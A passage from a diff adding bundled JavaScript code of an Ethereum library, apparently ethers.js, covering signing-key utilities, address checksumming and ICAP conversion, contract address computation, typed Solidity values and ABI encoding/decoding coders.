+ } + /** + * Returns the [[link-wiki-ecdh]] shared secret between this + * private key and the %%other%% key. + * + * The %%other%% key may be any type of key, a raw public key, + * a compressed/uncompressed pubic key or aprivate key. + * + * Best practice is usually to use a cryptographic hash on the + * returned value before using it as a symetric secret. + * + * @example: + * sign1 = new SigningKey(id("some-secret-1")) + * sign2 = new SigningKey(id("some-secret-2")) + * + * // Notice that privA.computeSharedSecret(pubB)... + * sign1.computeSharedSecret(sign2.publicKey) + * //_result: + * + * // ...is equal to privB.computeSharedSecret(pubA). + * sign2.computeSharedSecret(sign1.publicKey) + * //_result: + */ + computeSharedSecret(other) { + const pubKey = SigningKey.computePublicKey(other); + return hexlify(secp256k1.getSharedSecret(getBytesCopy(this.#privateKey), getBytes(pubKey), false)); + } + /** + * Compute the public key for %%key%%, optionally %%compressed%%. + * + * The %%key%% may be any type of key, a raw public key, a + * compressed/uncompressed public key or private key. + * + * @example: + * sign = new SigningKey(id("some-secret")); + * + * // Compute the uncompressed public key for a private key + * SigningKey.computePublicKey(sign.privateKey) + * //_result: + * + * // Compute the compressed public key for a private key + * SigningKey.computePublicKey(sign.privateKey, true) + * //_result: + * + * // Compute the uncompressed public key + * SigningKey.computePublicKey(sign.publicKey, false); + * //_result: + * + * // Compute the Compressed a public key + * SigningKey.computePublicKey(sign.publicKey, true); + * //_result: + */ + static computePublicKey(key, compressed) { + let bytes = getBytes(key, "key"); + // private key + if (bytes.length === 32) { + const pubKey = secp256k1.getPublicKey(bytes, !!compressed); + return hexlify(pubKey); + } + // raw public key; use uncompressed key with 0x04 prefix + if (bytes.length === 64) { + const pub = new Uint8Array(65); + pub[0] = 0x04; + pub.set(bytes, 1); + bytes = pub; + } + const point = secp256k1.ProjectivePoint.fromHex(bytes); + return hexlify(point.toRawBytes(compressed)); + } + /** + * Returns the public key for the private key which produced the + * %%signature%% for the given %%digest%%. + * + * @example: + * key = new SigningKey(id("some-secret")) + * digest = id("hello world") + * sig = key.sign(digest) + * + * // Notice the signer public key... + * key.publicKey + * //_result: + * + * // ...is equal to the recovered public key + * SigningKey.recoverPublicKey(digest, sig) + * //_result: + * + */ + static recoverPublicKey(digest, signature) { + assertArgument(dataLength(digest) === 32, "invalid digest length", "digest", digest); + const sig = Signature.from(signature); + let secpSig = secp256k1.Signature.fromCompact(getBytesCopy(concat([sig.r, sig.s]))); + secpSig = secpSig.addRecoveryBit(sig.yParity); + const pubKey = secpSig.recoverPublicKey(getBytesCopy(digest)); + assertArgument(pubKey != null, "invalid signature for digest", "signature", signature); + return "0x" + pubKey.toHex(false); + } + /** + * Returns the point resulting from adding the ellipic curve points + * %%p0%% and %%p1%%. + * + * This is not a common function most developers should require, but + * can be useful for certain privacy-specific techniques. + * + * For example, it is used by [[HDNodeWallet]] to compute child + * addresses from parent public keys and chain codes. + */ + static addPoints(p0, p1, compressed) { + const pub0 = secp256k1.ProjectivePoint.fromHex(SigningKey.computePublicKey(p0).substring(2)); + const pub1 = secp256k1.ProjectivePoint.fromHex(SigningKey.computePublicKey(p1).substring(2)); + return "0x" + pub0.add(pub1).toHex(!!compressed); + } + } + + /** + * A fundamental building block of Ethereum is the underlying + * cryptographic primitives. + * + * @_section: api/crypto:Cryptographic Functions [about-crypto] + */ + /** + * Once called, prevents any future change to the underlying cryptographic + * primitives using the ``.register`` feature for hooks. + */ + function lock() { + computeHmac.lock(); + keccak256.lock(); + pbkdf2.lock(); + randomBytes.lock(); + ripemd160.lock(); + scrypt.lock(); + scryptSync.lock(); + sha256.lock(); + sha512.lock(); + randomBytes.lock(); + } + + const BN_0$6 = BigInt(0); + const BN_36 = BigInt(36); + function getChecksumAddress(address) { + // if (!isHexString(address, 20)) { + // logger.throwArgumentError("invalid address", "address", address); + // } + address = address.toLowerCase(); + const chars = address.substring(2).split(""); + const expanded = new Uint8Array(40); + for (let i = 0; i < 40; i++) { + expanded[i] = chars[i].charCodeAt(0); + } + const hashed = getBytes(keccak256(expanded)); + for (let i = 0; i < 40; i += 2) { + if ((hashed[i >> 1] >> 4) >= 8) { + chars[i] = chars[i].toUpperCase(); + } + if ((hashed[i >> 1] & 0x0f) >= 8) { + chars[i + 1] = chars[i + 1].toUpperCase(); + } + } + return "0x" + chars.join(""); + } + // See: https://en.wikipedia.org/wiki/International_Bank_Account_Number + // Create lookup table + const ibanLookup = {}; + for (let i = 0; i < 10; i++) { + ibanLookup[String(i)] = String(i); + } + for (let i = 0; i < 26; i++) { + ibanLookup[String.fromCharCode(65 + i)] = String(10 + i); + } + // How many decimal digits can we process? (for 64-bit float, this is 15) + // i.e. Math.floor(Math.log10(Number.MAX_SAFE_INTEGER)); + const safeDigits = 15; + function ibanChecksum(address) { + address = address.toUpperCase(); + address = address.substring(4) + address.substring(0, 2) + "00"; + let expanded = address.split("").map((c) => { return ibanLookup[c]; }).join(""); + // Javascript can handle integers safely up to 15 (decimal) digits + while (expanded.length >= safeDigits) { + let block = expanded.substring(0, safeDigits); + expanded = parseInt(block, 10) % 97 + expanded.substring(block.length); + } + let checksum = String(98 - (parseInt(expanded, 10) % 97)); + while (checksum.length < 2) { + checksum = "0" + checksum; + } + return checksum; + } + const Base36 = (function () { + const result = {}; + for (let i = 0; i < 36; i++) { + const key = "0123456789abcdefghijklmnopqrstuvwxyz"[i]; + result[key] = BigInt(i); + } + return result; + })(); + function fromBase36(value) { + value = value.toLowerCase(); + let result = BN_0$6; + for (let i = 0; i < value.length; i++) { + result = result * BN_36 + Base36[value[i]]; + } + return result; + } + /** + * Returns a normalized and checksumed address for %%address%%. + * This accepts non-checksum addresses, checksum addresses and + * [[getIcapAddress]] formats. + * + * The checksum in Ethereum uses the capitalization (upper-case + * vs lower-case) of the characters within an address to encode + * its checksum, which offers, on average, a checksum of 15-bits. + * + * If %%address%% contains both upper-case and lower-case, it is + * assumed to already be a checksum address and its checksum is + * validated, and if the address fails its expected checksum an + * error is thrown. + * + * If you wish the checksum of %%address%% to be ignore, it should + * be converted to lower-case (i.e. ``.toLowercase()``) before + * being passed in. This should be a very rare situation though, + * that you wish to bypass the safegaurds in place to protect + * against an address that has been incorrectly copied from another + * source. + * + * @example: + * // Adds the checksum (via upper-casing specific letters) + * getAddress("0x8ba1f109551bd432803012645ac136ddd64dba72") + * //_result: + * + * // Converts ICAP address and adds checksum + * getAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36"); + * //_result: + * + * // Throws an error if an address contains mixed case, + * // but the checksum fails + * getAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBA72") + * //_error: + */ + function getAddress(address) { + assertArgument(typeof (address) === "string", "invalid address", "address", address); + if (address.match(/^(0x)?[0-9a-fA-F]{40}$/)) { + // Missing the 0x prefix + if (!address.startsWith("0x")) { + address = "0x" + address; + } + const result = getChecksumAddress(address); + // It is a checksummed address with a bad checksum + assertArgument(!address.match(/([A-F].*[a-f])|([a-f].*[A-F])/) || result === address, "bad address checksum", "address", address); + return result; + } + // Maybe ICAP? (we only support direct mode) + if (address.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)) { + // It is an ICAP address with a bad checksum + assertArgument(address.substring(2, 4) === ibanChecksum(address), "bad icap checksum", "address", address); + let result = fromBase36(address.substring(4)).toString(16); + while (result.length < 40) { + result = "0" + result; + } + return getChecksumAddress("0x" + result); + } + assertArgument(false, "invalid address", "address", address); + } + /** + * The [ICAP Address format](link-icap) format is an early checksum + * format which attempts to be compatible with the banking + * industry [IBAN format](link-wiki-iban) for bank accounts. + * + * It is no longer common or a recommended format. + * + * @example: + * getIcapAddress("0x8ba1f109551bd432803012645ac136ddd64dba72"); + * //_result: + * + * getIcapAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36"); + * //_result: + * + * // Throws an error if the ICAP checksum is wrong + * getIcapAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK37"); + * //_error: + */ + function getIcapAddress(address) { + //let base36 = _base16To36(getAddress(address).substring(2)).toUpperCase(); + let base36 = BigInt(getAddress(address)).toString(36).toUpperCase(); + while (base36.length < 30) { + base36 = "0" + base36; + } + return "XE" + ibanChecksum("XE00" + base36) + base36; + } + + // http://ethereum.stackexchange.com/questions/760/how-is-the-address-of-an-ethereum-contract-computed + /** + * Returns the address that would result from a ``CREATE`` for %%tx%%. + * + * This can be used to compute the address a contract will be + * deployed to by an EOA when sending a deployment transaction (i.e. + * when the ``to`` address is ``null``). + * + * This can also be used to compute the address a contract will be + * deployed to by a contract, by using the contract's address as the + * ``to`` and the contract's nonce. + * + * @example + * from = "0x8ba1f109551bD432803012645Ac136ddd64DBA72"; + * nonce = 5; + * + * getCreateAddress({ from, nonce }); + * //_result: + */ + function getCreateAddress(tx) { + const from = getAddress(tx.from); + const nonce = getBigInt(tx.nonce, "tx.nonce"); + let nonceHex = nonce.toString(16); + if (nonceHex === "0") { + nonceHex = "0x"; + } + else if (nonceHex.length % 2) { + nonceHex = "0x0" + nonceHex; + } + else { + nonceHex = "0x" + nonceHex; + } + return getAddress(dataSlice(keccak256(encodeRlp([from, nonceHex])), 12)); + } + /** + * Returns the address that would result from a ``CREATE2`` operation + * with the given %%from%%, %%salt%% and %%initCodeHash%%. + * + * To compute the %%initCodeHash%% from a contract's init code, use + * the [[keccak256]] function. + * + * For a quick overview and example of ``CREATE2``, see [[link-ricmoo-wisps]]. + * + * @example + * // The address of the contract + * from = "0x8ba1f109551bD432803012645Ac136ddd64DBA72" + * + * // The salt + * salt = id("HelloWorld") + * + * // The hash of the initCode + * initCode = "0x6394198df16000526103ff60206004601c335afa6040516060f3"; + * initCodeHash = keccak256(initCode) + * + * getCreate2Address(from, salt, initCodeHash) + * //_result: + */ + function getCreate2Address(_from, _salt, _initCodeHash) { + const from = getAddress(_from); + const salt = getBytes(_salt, "salt"); + const initCodeHash = getBytes(_initCodeHash, "initCodeHash"); + assertArgument(salt.length === 32, "salt must be 32 bytes", "salt", _salt); + assertArgument(initCodeHash.length === 32, "initCodeHash must be 32 bytes", "initCodeHash", _initCodeHash); + return getAddress(dataSlice(keccak256(concat(["0xff", from, salt, initCodeHash])), 12)); + } + + /** + * Returns true if %%value%% is an object which implements the + * [[Addressable]] interface. + * + * @example: + * // Wallets and AbstractSigner sub-classes + * isAddressable(Wallet.createRandom()) + * //_result: + * + * // Contracts + * contract = new Contract("dai.tokens.ethers.eth", [ ], provider) + * isAddressable(contract) + * //_result: + */ + function isAddressable(value) { + return (value && typeof (value.getAddress) === "function"); + } + /** + * Returns true if %%value%% is a valid address. + * + * @example: + * // Valid address + * isAddress("0x8ba1f109551bD432803012645Ac136ddd64DBA72") + * //_result: + * + * // Valid ICAP address + * isAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36") + * //_result: + * + * // Invalid checksum + * isAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBa72") + * //_result: + * + * // Invalid ICAP checksum + * isAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBA72") + * //_result: + * + * // Not an address (an ENS name requires a provided and an + * // asynchronous API to access) + * isAddress("ricmoo.eth") + * //_result: + */ + function isAddress(value) { + try { + getAddress(value); + return true; + } + catch (error) { } + return false; + } + async function checkAddress(target, promise) { + const result = await promise; + if (result == null || result === "0x0000000000000000000000000000000000000000") { + assert(typeof (target) !== "string", "unconfigured name", "UNCONFIGURED_NAME", { value: target }); + assertArgument(false, "invalid AddressLike value; did not resolve to a value address", "target", target); + } + return getAddress(result); + } + /** + * Resolves to an address for the %%target%%, which may be any + * supported address type, an [[Addressable]] or a Promise which + * resolves to an address. + * + * If an ENS name is provided, but that name has not been correctly + * configured a [[UnconfiguredNameError]] is thrown. + * + * @example: + * addr = "0x6B175474E89094C44Da98b954EedeAC495271d0F" + * + * // Addresses are return synchronously + * resolveAddress(addr, provider) + * //_result: + * + * // Address promises are resolved asynchronously + * resolveAddress(Promise.resolve(addr)) + * //_result: + * + * // ENS names are resolved asynchronously + * resolveAddress("dai.tokens.ethers.eth", provider) + * //_result: + * + * // Addressable objects are resolved asynchronously + * contract = new Contract(addr, [ ]) + * resolveAddress(contract, provider) + * //_result: + * + * // Unconfigured ENS names reject + * resolveAddress("nothing-here.ricmoo.eth", provider) + * //_error: + * + * // ENS names require a NameResolver object passed in + * // (notice the provider was omitted) + * resolveAddress("nothing-here.ricmoo.eth") + * //_error: + */ + function resolveAddress(target, resolver) { + if (typeof (target) === "string") { + if (target.match(/^0x[0-9a-f]{40}$/i)) { + return getAddress(target); + } + assert(resolver != null, "ENS resolution requires a provider", "UNSUPPORTED_OPERATION", { operation: "resolveName" }); + return checkAddress(target, resolver.resolveName(target)); + } + else if (isAddressable(target)) { + return checkAddress(target, target.getAddress()); + } + else if (target && typeof (target.then) === "function") { + return checkAddress(target, target); + } + assertArgument(false, "unsupported addressable value", "target", target); + } + + /** + * A Typed object allows a value to have its type explicitly + * specified. + * + * For example, in Solidity, the value ``45`` could represent a + * ``uint8`` or a ``uint256``. The value ``0x1234`` could represent + * a ``bytes2`` or ``bytes``. + * + * Since JavaScript has no meaningful way to explicitly inform any + * APIs which what the type is, this allows transparent interoperation + * with Soldity. + * + * @_subsection: api/abi:Typed Values + */ + const _gaurd = {}; + function n(value, width) { + let signed = false; + if (width < 0) { + signed = true; + width *= -1; + } + // @TODO: Check range is valid for value + return new Typed(_gaurd, `${signed ? "" : "u"}int${width}`, value, { signed, width }); + } + function b(value, size) { + // @TODO: Check range is valid for value + return new Typed(_gaurd, `bytes${(size) ? size : ""}`, value, { size }); + } + const _typedSymbol = Symbol.for("_ethers_typed"); + /** + * The **Typed** class to wrap values providing explicit type information. + */ + class Typed { + /** + * The type, as a Solidity-compatible type. + */ + type; + /** + * The actual value. + */ + value; + #options; + /** + * @_ignore: + */ + _typedSymbol; + /** + * @_ignore: + */ + constructor(gaurd, type, value, options) { + if (options == null) { + options = null; + } + assertPrivate(_gaurd, gaurd, "Typed"); + defineProperties(this, { _typedSymbol, type, value }); + this.#options = options; + // Check the value is valid + this.format(); + } + /** + * Format the type as a Human-Readable type. + */ + format() { + if (this.type === "array") { + throw new Error(""); + } + else if (this.type === "dynamicArray") { + throw new Error(""); + } + else if (this.type === "tuple") { + return `tuple(${this.value.map((v) => v.format()).join(",")})`; + } + return this.type; + } + /** + * The default value returned by this type. + */ + defaultValue() { + return 0; + } + /** + * The minimum value for numeric types. + */ + minValue() { + return 0; + } + /** + * The maximum value for numeric types. + */ + maxValue() { + return 0; + } + /** + * Returns ``true`` and provides a type guard is this is a [[TypedBigInt]]. + */ + isBigInt() { + return !!(this.type.match(/^u?int[0-9]+$/)); + } + /** + * Returns ``true`` and provides a type guard is this is a [[TypedData]]. + */ + isData() { + return this.type.startsWith("bytes"); + } + /** + * Returns ``true`` and provides a type guard is this is a [[TypedString]]. + */ + isString() { + return (this.type === "string"); + } + /** + * Returns the tuple name, if this is a tuple. Throws otherwise. + */ + get tupleName() { + if (this.type !== "tuple") { + throw TypeError("not a tuple"); + } + return this.#options; + } + // Returns the length of this type as an array + // - `null` indicates the length is unforced, it could be dynamic + // - `-1` indicates the length is dynamic + // - any other value indicates it is a static array and is its length + /** + * Returns the length of the array type or ``-1`` if it is dynamic. + * + * Throws if the type is not an array. + */ + get arrayLength() { + if (this.type !== "array") { + throw TypeError("not an array"); + } + if (this.#options === true) { + return -1; + } + if (this.#options === false) { + return (this.value).length; + } + return null; + } + /** + * Returns a new **Typed** of %%type%% with the %%value%%. + */ + static from(type, value) { + return new Typed(_gaurd, type, value); + } + /** + * Return a new ``uint8`` type for %%v%%. + */ + static uint8(v) { return n(v, 8); } + /** + * Return a new ``uint16`` type for %%v%%. + */ + static uint16(v) { return n(v, 16); } + /** + * Return a new ``uint24`` type for %%v%%. + */ + static uint24(v) { return n(v, 24); } + /** + * Return a new ``uint32`` type for %%v%%. + */ + static uint32(v) { return n(v, 32); } + /** + * Return a new ``uint40`` type for %%v%%. + */ + static uint40(v) { return n(v, 40); } + /** + * Return a new ``uint48`` type for %%v%%. + */ + static uint48(v) { return n(v, 48); } + /** + * Return a new ``uint56`` type for %%v%%. + */ + static uint56(v) { return n(v, 56); } + /** + * Return a new ``uint64`` type for %%v%%. + */ + static uint64(v) { return n(v, 64); } + /** + * Return a new ``uint72`` type for %%v%%. + */ + static uint72(v) { return n(v, 72); } + /** + * Return a new ``uint80`` type for %%v%%. + */ + static uint80(v) { return n(v, 80); } + /** + * Return a new ``uint88`` type for %%v%%. + */ + static uint88(v) { return n(v, 88); } + /** + * Return a new ``uint96`` type for %%v%%. + */ + static uint96(v) { return n(v, 96); } + /** + * Return a new ``uint104`` type for %%v%%. + */ + static uint104(v) { return n(v, 104); } + /** + * Return a new ``uint112`` type for %%v%%. + */ + static uint112(v) { return n(v, 112); } + /** + * Return a new ``uint120`` type for %%v%%. + */ + static uint120(v) { return n(v, 120); } + /** + * Return a new ``uint128`` type for %%v%%. + */ + static uint128(v) { return n(v, 128); } + /** + * Return a new ``uint136`` type for %%v%%. + */ + static uint136(v) { return n(v, 136); } + /** + * Return a new ``uint144`` type for %%v%%. + */ + static uint144(v) { return n(v, 144); } + /** + * Return a new ``uint152`` type for %%v%%. + */ + static uint152(v) { return n(v, 152); } + /** + * Return a new ``uint160`` type for %%v%%. + */ + static uint160(v) { return n(v, 160); } + /** + * Return a new ``uint168`` type for %%v%%. + */ + static uint168(v) { return n(v, 168); } + /** + * Return a new ``uint176`` type for %%v%%. + */ + static uint176(v) { return n(v, 176); } + /** + * Return a new ``uint184`` type for %%v%%. + */ + static uint184(v) { return n(v, 184); } + /** + * Return a new ``uint192`` type for %%v%%. + */ + static uint192(v) { return n(v, 192); } + /** + * Return a new ``uint200`` type for %%v%%. + */ + static uint200(v) { return n(v, 200); } + /** + * Return a new ``uint208`` type for %%v%%. + */ + static uint208(v) { return n(v, 208); } + /** + * Return a new ``uint216`` type for %%v%%. + */ + static uint216(v) { return n(v, 216); } + /** + * Return a new ``uint224`` type for %%v%%. + */ + static uint224(v) { return n(v, 224); } + /** + * Return a new ``uint232`` type for %%v%%. + */ + static uint232(v) { return n(v, 232); } + /** + * Return a new ``uint240`` type for %%v%%. + */ + static uint240(v) { return n(v, 240); } + /** + * Return a new ``uint248`` type for %%v%%. + */ + static uint248(v) { return n(v, 248); } + /** + * Return a new ``uint256`` type for %%v%%. + */ + static uint256(v) { return n(v, 256); } + /** + * Return a new ``uint256`` type for %%v%%. + */ + static uint(v) { return n(v, 256); } + /** + * Return a new ``int8`` type for %%v%%. + */ + static int8(v) { return n(v, -8); } + /** + * Return a new ``int16`` type for %%v%%. + */ + static int16(v) { return n(v, -16); } + /** + * Return a new ``int24`` type for %%v%%. + */ + static int24(v) { return n(v, -24); } + /** + * Return a new ``int32`` type for %%v%%. + */ + static int32(v) { return n(v, -32); } + /** + * Return a new ``int40`` type for %%v%%. + */ + static int40(v) { return n(v, -40); } + /** + * Return a new ``int48`` type for %%v%%. + */ + static int48(v) { return n(v, -48); } + /** + * Return a new ``int56`` type for %%v%%. + */ + static int56(v) { return n(v, -56); } + /** + * Return a new ``int64`` type for %%v%%. + */ + static int64(v) { return n(v, -64); } + /** + * Return a new ``int72`` type for %%v%%. + */ + static int72(v) { return n(v, -72); } + /** + * Return a new ``int80`` type for %%v%%. + */ + static int80(v) { return n(v, -80); } + /** + * Return a new ``int88`` type for %%v%%. + */ + static int88(v) { return n(v, -88); } + /** + * Return a new ``int96`` type for %%v%%. + */ + static int96(v) { return n(v, -96); } + /** + * Return a new ``int104`` type for %%v%%. + */ + static int104(v) { return n(v, -104); } + /** + * Return a new ``int112`` type for %%v%%. + */ + static int112(v) { return n(v, -112); } + /** + * Return a new ``int120`` type for %%v%%. + */ + static int120(v) { return n(v, -120); } + /** + * Return a new ``int128`` type for %%v%%. + */ + static int128(v) { return n(v, -128); } + /** + * Return a new ``int136`` type for %%v%%. + */ + static int136(v) { return n(v, -136); } + /** + * Return a new ``int144`` type for %%v%%. + */ + static int144(v) { return n(v, -144); } + /** + * Return a new ``int52`` type for %%v%%. + */ + static int152(v) { return n(v, -152); } + /** + * Return a new ``int160`` type for %%v%%. + */ + static int160(v) { return n(v, -160); } + /** + * Return a new ``int168`` type for %%v%%. + */ + static int168(v) { return n(v, -168); } + /** + * Return a new ``int176`` type for %%v%%. + */ + static int176(v) { return n(v, -176); } + /** + * Return a new ``int184`` type for %%v%%. + */ + static int184(v) { return n(v, -184); } + /** + * Return a new ``int92`` type for %%v%%. + */ + static int192(v) { return n(v, -192); } + /** + * Return a new ``int200`` type for %%v%%. + */ + static int200(v) { return n(v, -200); } + /** + * Return a new ``int208`` type for %%v%%. + */ + static int208(v) { return n(v, -208); } + /** + * Return a new ``int216`` type for %%v%%. + */ + static int216(v) { return n(v, -216); } + /** + * Return a new ``int224`` type for %%v%%. + */ + static int224(v) { return n(v, -224); } + /** + * Return a new ``int232`` type for %%v%%. + */ + static int232(v) { return n(v, -232); } + /** + * Return a new ``int240`` type for %%v%%. + */ + static int240(v) { return n(v, -240); } + /** + * Return a new ``int248`` type for %%v%%. + */ + static int248(v) { return n(v, -248); } + /** + * Return a new ``int256`` type for %%v%%. + */ + static int256(v) { return n(v, -256); } + /** + * Return a new ``int256`` type for %%v%%. + */ + static int(v) { return n(v, -256); } + /** + * Return a new ``bytes1`` type for %%v%%. + */ + static bytes1(v) { return b(v, 1); } + /** + * Return a new ``bytes2`` type for %%v%%. + */ + static bytes2(v) { return b(v, 2); } + /** + * Return a new ``bytes3`` type for %%v%%. + */ + static bytes3(v) { return b(v, 3); } + /** + * Return a new ``bytes4`` type for %%v%%. + */ + static bytes4(v) { return b(v, 4); } + /** + * Return a new ``bytes5`` type for %%v%%. + */ + static bytes5(v) { return b(v, 5); } + /** + * Return a new ``bytes6`` type for %%v%%. + */ + static bytes6(v) { return b(v, 6); } + /** + * Return a new ``bytes7`` type for %%v%%. + */ + static bytes7(v) { return b(v, 7); } + /** + * Return a new ``bytes8`` type for %%v%%. + */ + static bytes8(v) { return b(v, 8); } + /** + * Return a new ``bytes9`` type for %%v%%. + */ + static bytes9(v) { return b(v, 9); } + /** + * Return a new ``bytes10`` type for %%v%%. + */ + static bytes10(v) { return b(v, 10); } + /** + * Return a new ``bytes11`` type for %%v%%. + */ + static bytes11(v) { return b(v, 11); } + /** + * Return a new ``bytes12`` type for %%v%%. + */ + static bytes12(v) { return b(v, 12); } + /** + * Return a new ``bytes13`` type for %%v%%. + */ + static bytes13(v) { return b(v, 13); } + /** + * Return a new ``bytes14`` type for %%v%%. + */ + static bytes14(v) { return b(v, 14); } + /** + * Return a new ``bytes15`` type for %%v%%. + */ + static bytes15(v) { return b(v, 15); } + /** + * Return a new ``bytes16`` type for %%v%%. + */ + static bytes16(v) { return b(v, 16); } + /** + * Return a new ``bytes17`` type for %%v%%. + */ + static bytes17(v) { return b(v, 17); } + /** + * Return a new ``bytes18`` type for %%v%%. + */ + static bytes18(v) { return b(v, 18); } + /** + * Return a new ``bytes19`` type for %%v%%. + */ + static bytes19(v) { return b(v, 19); } + /** + * Return a new ``bytes20`` type for %%v%%. + */ + static bytes20(v) { return b(v, 20); } + /** + * Return a new ``bytes21`` type for %%v%%. + */ + static bytes21(v) { return b(v, 21); } + /** + * Return a new ``bytes22`` type for %%v%%. + */ + static bytes22(v) { return b(v, 22); } + /** + * Return a new ``bytes23`` type for %%v%%. + */ + static bytes23(v) { return b(v, 23); } + /** + * Return a new ``bytes24`` type for %%v%%. + */ + static bytes24(v) { return b(v, 24); } + /** + * Return a new ``bytes25`` type for %%v%%. + */ + static bytes25(v) { return b(v, 25); } + /** + * Return a new ``bytes26`` type for %%v%%. + */ + static bytes26(v) { return b(v, 26); } + /** + * Return a new ``bytes27`` type for %%v%%. + */ + static bytes27(v) { return b(v, 27); } + /** + * Return a new ``bytes28`` type for %%v%%. + */ + static bytes28(v) { return b(v, 28); } + /** + * Return a new ``bytes29`` type for %%v%%. + */ + static bytes29(v) { return b(v, 29); } + /** + * Return a new ``bytes30`` type for %%v%%. + */ + static bytes30(v) { return b(v, 30); } + /** + * Return a new ``bytes31`` type for %%v%%. + */ + static bytes31(v) { return b(v, 31); } + /** + * Return a new ``bytes32`` type for %%v%%. + */ + static bytes32(v) { return b(v, 32); } + /** + * Return a new ``address`` type for %%v%%. + */ + static address(v) { return new Typed(_gaurd, "address", v); } + /** + * Return a new ``bool`` type for %%v%%. + */ + static bool(v) { return new Typed(_gaurd, "bool", !!v); } + /** + * Return a new ``bytes`` type for %%v%%. + */ + static bytes(v) { return new Typed(_gaurd, "bytes", v); } + /** + * Return a new ``string`` type for %%v%%. + */ + static string(v) { return new Typed(_gaurd, "string", v); } + /** + * Return a new ``array`` type for %%v%%, allowing %%dynamic%% length. + */ + static array(v, dynamic) { + throw new Error("not implemented yet"); + } + /** + * Return a new ``tuple`` type for %%v%%, with the optional %%name%%. + */ + static tuple(v, name) { + throw new Error("not implemented yet"); + } + /** + * Return a new ``uint8`` type for %%v%%. + */ + static overrides(v) { + return new Typed(_gaurd, "overrides", Object.assign({}, v)); + } + /** + * Returns true only if %%value%% is a [[Typed]] instance. + */ + static isTyped(value) { + return (value + && typeof (value) === "object" + && "_typedSymbol" in value + && value._typedSymbol === _typedSymbol); + } + /** + * If the value is a [[Typed]] instance, validates the underlying value + * and returns it, otherwise returns value directly. + * + * This is useful for functions that with to accept either a [[Typed]] + * object or values. + */ + static dereference(value, type) { + if (Typed.isTyped(value)) { + if (value.type !== type) { + throw new Error(`invalid type: expecetd ${type}, got ${value.type}`); + } + return value.value; + } + return value; + } + } + + /** + * @_ignore + */ + class AddressCoder extends Coder { + constructor(localName) { + super("address", "address", localName, false); + } + defaultValue() { + return "0x0000000000000000000000000000000000000000"; + } + encode(writer, _value) { + let value = Typed.dereference(_value, "string"); + try { + value = getAddress(value); + } + catch (error) { + return this._throwError(error.message, _value); + } + return writer.writeValue(value); + } + decode(reader) { + return getAddress(toBeHex(reader.readValue(), 20)); + } + } + + /** + * Clones the functionality of an existing Coder, but without a localName + * + * @_ignore + */ + class AnonymousCoder extends Coder { + coder; + constructor(coder) { + super(coder.name, coder.type, "_", coder.dynamic); + this.coder = coder; + } + defaultValue() { + return this.coder.defaultValue(); + } + encode(writer, value) { + return this.coder.encode(writer, value); + } + decode(reader) { + return this.coder.decode(reader); + } + } + + /** + * @_ignore + */ + function pack(writer, coders, values) { + let arrayValues = []; + if (Array.isArray(values)) { + arrayValues = values; + } + else if (values && typeof (values) === "object") { + let unique = {}; + arrayValues = coders.map((coder) => { + const name = coder.localName; + assert(name, "cannot encode object for signature with missing names", "INVALID_ARGUMENT", { argument: "values", info: { coder }, value: values }); + assert(!unique[name], "cannot encode object for signature with duplicate names", "INVALID_ARGUMENT", { argument: "values", info: { coder }, value: values }); + unique[name] = true; + return values[name]; + }); + } + else { + assertArgument(false, "invalid tuple value", "tuple", values); + } + assertArgument(coders.length === arrayValues.length, "types/value length mismatch", "tuple", values); + let staticWriter = new Writer(); + let dynamicWriter = new Writer(); + let updateFuncs = []; + coders.forEach((coder, index) => { + let value = arrayValues[index]; + if (coder.dynamic) { + // Get current dynamic offset (for the future pointer) + let dynamicOffset = dynamicWriter.length; + // Encode the dynamic value into the dynamicWriter + coder.encode(dynamicWriter, value); + // Prepare to populate the correct offset once we are done + let updateFunc = staticWriter.writeUpdatableValue(); + updateFuncs.push((baseOffset) => { + updateFunc(baseOffset + dynamicOffset); + }); + } + else { + coder.encode(staticWriter, value); + } + }); + // Backfill all the dynamic offsets, now that we know the static length + updateFuncs.forEach((func) => { func(staticWriter.length); }); + let length = writer.appendWriter(staticWriter); + length += writer.appendWriter(dynamicWriter); + return length; + } + /** + * @_ignore + */ + function unpack(reader, coders) { + let values = []; + let keys = []; + // A reader anchored to this base + let baseReader = reader.subReader(0); + coders.forEach((coder) => { + let value = null; + if (coder.dynamic) { + let offset = reader.readIndex(); + let offsetReader = baseReader.subReader(offset); + try { + value = coder.decode(offsetReader); + } + catch (error) { + // Cannot recover from this + if (isError(error, "BUFFER_OVERRUN")) { + throw error; + } + value = error; + value.baseType = coder.name; + value.name = coder.localName; + value.type = coder.type; + } + } + else { + try { + value = coder.decode(reader); + } + catch (error) { + // Cannot recover from this + if (isError(error, "BUFFER_OVERRUN")) { + throw error; + } + value = error; + value.baseType = coder.name; + value.name = coder.localName; + value.type = coder.type; + } + } + if (value == undefined) { + throw new Error("investigate"); + } + values.push(value); + keys.push(coder.localName || null); + }); + return Result.fromItems(values, keys); + } + /** + * @_ignore + */ + class ArrayCoder extends Coder { + coder; + length; + constructor(coder, length, localName) { + const type = (coder.type + "[" + (length >= 0 ? length : "") + "]"); + const dynamic = (length === -1 || coder.dynamic); + super("array", type, localName, dynamic); + defineProperties(this, { coder, length }); + } + defaultValue() { + // Verifies the child coder is valid (even if the array is dynamic or 0-length) + const defaultChild = this.coder.defaultValue(); + const result = []; + for (let i = 0; i < this.length; i++) { + result.push(defaultChild); + } + return result; + } + encode(writer, _value) { + const value = Typed.dereference(_value, "array"); + if (!Array.isArray(value)) { + this._throwError("expected array value", value); + } + let count = this.length; + if (count === -1) { + count = value.length; + writer.writeValue(value.length); + } + assertArgumentCount(value.length, count, "coder array" + (this.localName ? (" " + this.localName) : "")); + let coders = []; + for (let i = 0; i < value.length; i++) { + coders.push(this.coder); + } + return pack(writer, coders, value); + } + decode(reader) { + let count = this.length; + if (count === -1) { + count = reader.readIndex(); + // Check that there is *roughly* enough data to ensure + // stray random data is not being read as a length. Each + // slot requires at least 32 bytes for their value (or 32 + // bytes as a link to the data). This could use a much + // tighter bound, but we are erroring on the side of safety. + assert(count * WordSize <= reader.dataLength, "insufficient data length", "BUFFER_OVERRUN", { buffer: reader.bytes, offset: count * WordSize, length: 